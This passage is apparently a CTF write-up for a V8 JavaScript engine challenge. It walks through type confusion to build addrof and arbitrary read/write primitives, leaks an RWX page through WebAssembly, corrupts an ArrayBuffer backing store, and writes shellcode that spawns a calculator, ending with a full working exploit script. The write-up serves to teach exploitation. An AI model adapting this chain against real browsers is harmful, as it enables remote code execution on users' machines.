So basically, we have an auxiliary object that will be used to create our array of object and an array of floats. By using the type confussion technique, we could read the address of the auxiliary object which we will use for our exploit. We will make aux_obj_arr thinks its a JSArray by overwriting its map with aux_float_arr, so doing aux_obj_arr[0] will give us access to the object.

In order to do the type confussion, we first need to leak both aux_obj_arr and aux_float_arr map addresses.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
d8> %DebugPrint(aux_obj_arr)
DebugPrint: 0x3aa708500259: [JSArray]
 - map: 0x3aa7081c18e1 <Map(PACKED_ELEMENTS)> [FastProperties]
 - prototype: 0x3aa7081884a1 <JSArray[0]>
 - elements: 0x3aa70850024d <FixedArray[1]> [PACKED_ELEMENTS]
 - length: 1
 - properties: 0x3aa7080406e9 <FixedArray[0]> {
    #length: 0x3aa708100165 <AccessorInfo> (const accessor descriptor)
 }
 - elements: 0x3aa70850024d <FixedArray[1]> {
           0: 0x3aa708500215 <Object map = 0x3aa7081c3759>
 }
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
 d8> %DebugPrint(aux_float_arr)
DebugPrint: 0x3aa7085002b9: [JSArray]
 - map: 0x3aa7081c1891 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
 - prototype: 0x3aa7081884a1 <JSArray[0]>
 - elements: 0x3aa708500299 <FixedDoubleArray[3]> [PACKED_DOUBLE_ELEMENTS]
 - length: 3
 - properties: 0x3aa7080406e9 <FixedArray[0]> {
    #length: 0x3aa708100165 <AccessorInfo> (const accessor descriptor)
 }
 - elements: 0x3aa708500299 <FixedDoubleArray[3]> {
           0: 1.1
           1: 2.2
           2: 3.3
 }

Looking in the elements memory of our writer array (previosly named a):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
gef➤  x/40gx 0x3aa70850019d-1
0x3aa70850019c:	0x0000001008040489	0x0000000000000000
0x3aa7085001ac:	0x080406e9081c04e1	0x0850016d0850019d
0x3aa7085001bc:	0x0000000000000000	0x0000000000000008
0x3aa7085001cc:	0x00000000000000ff	0x00003aa700000007
0x3aa7085001dc:	0x000000000850019d	0x0000000000000000
0x3aa7085001ec:	0x0804055100000000	0x0000001762582626
0x3aa7085001fc:	0x5f78756120726176	0x227b203d206a626f
0x3aa70850020c:	0x003b7d31203a2261	0x080406e9081c3759
0x3aa70850021c:	0x00000002080406e9	0xe580f72608040551
0x3aa70850022c:	0x207261760000001c	0x5f6a626f5f787561
0x3aa70850023c:	0x615b203d20727261	0x3b5d6a626f5f7875
0x3aa70850024c:	0x00000002080404b1	0x081c18e108500215
0x3aa70850025c:	0x0850024d080406e9	0x0804055100000002
0x3aa70850026c:	0x0000002485bc6b86	0x5f78756120726176
0x3aa70850027c:	0x72615f74616f6c66	0x312e315b203d2072
0x3aa70850028c:	0x33202c322e32202c	0x08040a153b5d332e
0x3aa70850029c:	0x9999999a00000006	0x9999999a3ff19999
0x3aa7085002ac:	0x6666666640019999	0x081c1891400a6666
0x3aa7085002bc:	0x08500299080406e9	0x0804055100000006
0x3aa7085002cc:	0x0000001ac7a7944e	0x662e726574697277

Look what we found! We found the map compressed addresses 081c18e1 (offset 0x84) and 081c1891 (offset 0xb4).

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
var writer = new Uint8Array(8);

var aux_obj = {"a": 1};
var aux_obj_arr = [aux_obj];
var aux_float_arr = [1.1, 2.2, 3.3];

writer.fill(0xff, 40, 41);
var isolate_root = BigInt((writer[0x35] << 8) + writer[0x34]);
isolate_root = isolate_root << 32n;
console.log("[+] Isolate root: 0x" + isolate_root.toString(16))

function read32offset(idx, compressed = true) {
    if(compressed)
        var result = isolate_root;
    else
        var result = 0n;

    for(let i = 0; i < 4; i++)
        result += BigInt(writer[idx + i] << (8 * i));

    if(compressed)
        return BigInt.asUintN(64, result - 1n);
    else
        return BigInt.asUintN(32, result);
}

var obj_arr_map = read32offset(0x84);
var float_arr_map = read32offset(0xb4);
console.log("[+] Object array map: 0x" + obj_arr_map.toString(16));
console.log("[+] Float array map: 0x" + float_arr_map.toString(16));

Result:

1
2
3
4
root@4ebb4cd39fc5:~/pwn/chromatic_aberration/bin# ./d8 ../pwn/pwn.js
[+] Isolate root: 0x19c800000000
[+] Object array map: 0x19c8081c18e0
[+] Float array map: 0x19c8081c1890

With those primitives at hand, gaining arbitrary memory read/write becomes as easy as

  • Creating two ArrayBuffers, ab1 and ab2
  • Leaking the address of ab2
  • Corrupting the backingStore pointer of ab1 to point to ab2

Yielding the following situation:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11

    +-----------------+           +-----------------+
    |  ArrayBuffer 1  |     +---->|  ArrayBuffer 2  |
    |                 |     |     |                 |
    |  map            |     |     |  map            |
    |  properties     |     |     |  properties     |
    |  elements       |     |     |  elements       |
    |  byteLength     |     |     |  byteLength     |
    |  backingStore --+-----+     |  backingStore   |
    |  flags          |           |  flags          |
    +-----------------+           +-----------------+

Afterwards, arbitrary addresses can be accessed by overwriting the backingStore pointer of ab2 by writing into ab1 and subsequently reading from or writing to ab2.

We will use the following piece of code in the next steps to perform the type confussion and leak the address of any object we pass to the function.

1
2
3
4
5
6
7
function addrof(obj) {
    aux_obj_arr[0] = obj;
    write32offset(0x84, float_arr_map + 1n);
    let addr = aux_obj_arr[0];
    write32offset(0x84, obj_arr_map + 1n);
    return isolate_root + ftoi(addr) - 1n;
}

Getting RWX page

One of the things we need to achieve is having a RWX (Read-Write-Execution) page where we will place our shellcode and execute it.

One of the possible ways to get an RWX page in v8 is to use WebAssembly. If you create a valid WASM instance, it will allocate an RWX page whose address can be leaked with out primitives. Let’s first create a WASM page. Note that the WASM code used doesn’t matter so long as it compiles and creates an RWX page for us, we simply need to create a valid instance, for example, with the following code:

1
2
3
int main() { 
  return 0;
}
1
2
3
4
5
6
7
8
9
(module
 (table 0 anyfunc)
 (memory $0 1)
 (export "memory" (memory $0))
 (export "main" (func $main))
 (func $main (; 0 ;) (result i32)
  (i32.const 0)
 )
)
1
2
3
4
5
6
7
8
9
// https://wasdk.github.io/WasmFiddle/
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,
                               130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,
                               128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,
                               128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,
                               0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,0,11]);
var wasm_mod = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_mod);
var pwn = wasm_instance.exports.main;

This Javascript code using WASM will generate an RWX page where the assembly code from WASM will be stored an could be executed by assigning the main function to a variable.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
gef➤  vmmap
[ Legend:  Code | Heap | Stack ]
Start              End                Offset             Perm Path
...
0x0000047e08200000 0x0000047e08280000 0x0000000000000000 rw- 
0x0000047e08280000 0x0000047f00000000 0x0000000000000000 --- 
0x00003275a7bd4000 0x00003275a7bd5000 0x0000000000000000 rwx <-- WASM page
0x0000555555554000 0x0000555555c8c000 0x0000000000000000 r-- /home/lab/Desktop/CTF/...
0x0000555555c8c000 0x000055555695b000 0x0000000000737000 r-x /home/lab/Desktop/CTF/...
0x000055555695b000 0x00005555569be000 0x0000000001405000 r-- /home/lab/Desktop/CTF/...
0x00005555569be000 0x00005555569c9000 0x0000000001467000 rw- /home/lab/Desktop/CTF/...
0x00005555569c9000 0x0000555556ab3000 0x0000000000000000 rw- [heap]
0x00007ffd70000000 0x00007ffdf0000000 0x0000000000000000 --- 
0x00007ffdf0000000 0x00007ffdf0010000 0x0000000000000000 rw- 
...
gef➤  x/2i 0x00003275a7bd4000
   0x3275a7bd4000:      jmp    0x3275a7bd42c0
   0x3275a7bd4005:      int3   
gef➤  x/10i 0x3275a7bd42c0
   0x3275a7bd42c0:      push   rbp
   0x3275a7bd42c1:      mov    rbp,rsp
   0x3275a7bd42c4:      push   0xa
   0x3275a7bd42c6:      push   rsi
   0x3275a7bd42c7:      xor    eax,eax
   0x3275a7bd42c9:      mov    rsp,rbp
   0x3275a7bd42cc:      pop    rbp
   0x3275a7bd42cd:      ret    
   0x3275a7bd42ce:      nop
   0x3275a7bd42cf:      nop

The next step is to calculate the offset between the RWX page and the WASM instance:

1
2
3
var rwx_gap = addrof(wasm_instance) + 0x78n - addrof(writer) - 0x8n;
var rwx = (read32offset(Number(rwx_gap) + 4, false) << 32n) + read32offset(Number(rwx_gap), false);
console.log("[+] RWX section: 0x" + rwx.toString(16));

Now that we have the RWX page address, we will need to corrupt (overwrite) the backstore pointer of an array buffer to point to this RWX page where we will place our shellcode.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11

    +-----------------+           +-----------------+
    |  ArrayBuffer 1  |     +---->|  RWX PAGE       |
    |                 |     |     |                 |
    |  map            |     |     |                 |
    |  properties     |     |     |                 |
    |  elements       |     |     |                 |
    |  byteLength     |     |     |                 |
    |  backingStore --+-----+     |                 |
    |  flags          |           |                 |
    +-----------------+           +-----------------+
1
2
3
4
5
6
7
var arr_buf = new ArrayBuffer(0x100);
var dataview = new DataView(arr_buf);

var back_store_gap = addrof(arr_buf) + 0x24n - addrof(writer) - 0x8n;
var back_store_addr = (read32offset(Number(back_store_gap) + 4, false) << 32n) + read32offset(Number(back_store_gap), false);
console.log("[+] Back store pointer: 0x" + back_store_addr.toString(16));
write64offset(back_store_gap, rwx);

Now we have overwritten the arr_buf backstore pointer to the RWX page address. Now it’s time to write our shellcode into the RWX page, but before doing this, let’s explain a bit something we are using for writing the shellcode and its the object DataView

DataView

See [6].

Multi-byte number formats are represented in memory differently depending on machine architecture. DataView accessors provide explicit control of how data is accessed, regardless of the executing computer’s endianness.

For example:

1
2
3
4
5
var buffer = new ArrayBuffer(16);
var dv = new DataView(buffer, 0);

dv.setInt16(1, 42);
dv.getInt16(1); //42

We will be using the same concept to write our shellcode to the RWX page:

1
2
3
4
5
6
7
var shellcode=[0x90909090,0x90909090,0x782fb848,0x636c6163,0x48500000,0x73752fb8,0x69622f72,
               0x8948506e,0xc03148e7,0x89485750,0xd23148e6,0x3ac0c748,0x50000030,0x4944b848,
               0x414c5053,0x48503d59,0x3148e289,0x485250c0,0xc748e289,0x00003bc0,0x050f00];

for (let i = 0; i < shellcode.length; i++) {
	dataview.setUint32(4 * i, shellcode[i], true);
}

The reason we write it in groups of 4 bytes, it’s because JavaScript does not currently include standard support for 64-bit integer values, DataView does not offer native 64-bit operations.

And finally, run the code:

1
2
console.log("[*] Spawning a calculator...");
pwn();

Final exploit:

See at: https://github.com/KaoRz/exploits_challenges/blob/master/chromatic_aberration/pwn.js

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
var writer = new Uint8Array(8);
var aux_obj = {"a": 1};
var aux_obj_arr = [aux_obj];
var aux_float_arr = [1.1, 2.2, 3.3]; 

var buf = new ArrayBuffer(8);
var f64_buf = new Float64Array(buf);
var u64_buf = new Uint32Array(buf);

function ftoi(val) {
    f64_buf[0] = val;   
    return BigInt(u64_buf[0]);
}

writer.fill(0xff, 40, 43);      // Overwrite Int8Array(8) length
var isolate_root = BigInt((writer[0x35] << 8) + writer[0x34]);
isolate_root = isolate_root << 32n;
console.log("[+] Isolate root: 0x" + isolate_root.toString(16))

function read32offset(idx, compressed = true) {
    if(compressed)
        var result = isolate_root;
    else
        var result = 0n;

    for(let i = 0; i < 4; i++)
        result += BigInt(writer[idx + i] << (8 * i));

    if(compressed)
        return BigInt.asUintN(64, result - 1n);
    else
        return BigInt.asUintN(32, result);
}

function write32offset(idx, data) {
    for(let i = 0; i < 4; i++)   
        writer[idx + i] = Number(data >> (8n * BigInt(i))) & 0xff;
}

function write64offset(idx, data) {
    let hi = (data & 0xffffffff00000000n) >> 32n;
    let lo = data & 0x00000000ffffffffn;
    write32offset(Number(idx), lo);
    write32offset(Number(idx) + 4, hi);
}

var obj_arr_map = read32offset(0x84);
var float_arr_map = read32offset(0xb4);
console.log("[+] Object array map: 0x" + obj_arr_map.toString(16));
console.log("[+] Float array map: 0x" + float_arr_map.toString(16));

function addrof(obj) {
    aux_obj_arr[0] = obj;
    write32offset(0x84, float_arr_map + 1n);
    let addr = aux_obj_arr[0];
    write32offset(0x84, obj_arr_map + 1n);
    return isolate_root + ftoi(addr) - 1n;
}

var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,
                               130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,
                               128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,
                               128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,
                               0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,0,11]);
var wasm_module = new WebAssembly.Module(wasmCode);
var wasm_instance = new WebAssembly.Instance(wasm_module);
var pwn = wasm_instance.exports.main;

var rwx_gap = addrof(wasm_instance) + 0x78n - addrof(writer) - 0x8n;
var rwx = (read32offset(Number(rwx_gap) + 4, false) << 32n) + read32offset(Number(rwx_gap), false);
console.log("[+] RWX section: 0x" + rwx.toString(16));

var arr_buf = new ArrayBuffer(0x100);
var dataview = new DataView(arr_buf);

var back_store_gap = addrof(arr_buf) + 0x24n - addrof(writer) - 0x8n;
var back_store_addr = (read32offset(Number(back_store_gap) + 4, false) << 32n) + read32offset(Number(back_store_gap), false);
console.log("[+] Back store pointer: 0x" + back_store_addr.toString(16));
write64offset(back_store_gap, rwx);

var shellcode=[0x90909090,0x90909090,0x782fb848,0x636c6163,0x48500000,0x73752fb8,0x69622f72,
               0x8948506e,0xc03148e7,0x89485750,0xd23148e6,0x3ac0c748,0x50000030,0x4944b848,
               0x414c5053,0x48503d59,0x3148e289,0x485250c0,0xc748e289,0x00003bc0,0x050f00];

for (let i = 0; i < shellcode.length; i++) {
	dataview.setUint32(4 * i, shellcode[i], true);
}

console.log("[*] Spawning a calculator...");
pwn();

References

[1] https://v8.dev/

[2] https://blog.infosectcbr.com.au/2020/02/pointer-compression-in-v8.html

[3] https://v8.dev/blog/pointer-compression

[4] https://v8.dev/blog/fast-properties

[5] http://phrack.org/papers/jit_exploitation.html

[6] https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/DataView